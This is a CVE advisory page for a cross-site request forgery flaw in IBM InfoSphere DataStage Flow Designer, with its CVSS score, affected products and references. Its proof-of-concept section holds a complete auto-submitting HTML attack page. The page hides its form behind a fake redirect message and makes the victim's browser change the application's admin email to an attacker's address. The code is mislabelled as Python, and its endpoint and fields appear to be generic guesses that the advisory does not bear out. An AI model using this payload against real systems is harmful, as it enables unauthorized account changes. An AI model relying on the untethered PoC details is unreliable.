CVE-2025-36422

Description

IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 IBM InfoSphere DataStage Flow Designer is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:infosphere_information_server:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

IBM InfoSphere Information Server 11.7.0.0

IBM InfoSphere Information Server 11.7.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <body> <h2>You are being redirected...</h2>  <form id="csrf-form" action="http://target-server:port/ibm/iis/flow-designer/api/updateConfig" method="POST">  <input type="hidden" name="setting_id" value="admin_email" /> <input type="hidden" name="setting_value" value="[email protected]" /> <input type="hidden" name="confirm" value="true" /> </form> <script> // Automatically submit the form when the page loads document.getElementById("csrf-form").submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-36422
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-36422
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-36422/
[4] VulDB https://vuldb.com/cve/CVE-2025-36422
[5] https://www.ibm.com/support/pages/node/7266685

Raw JSON Data

JSON

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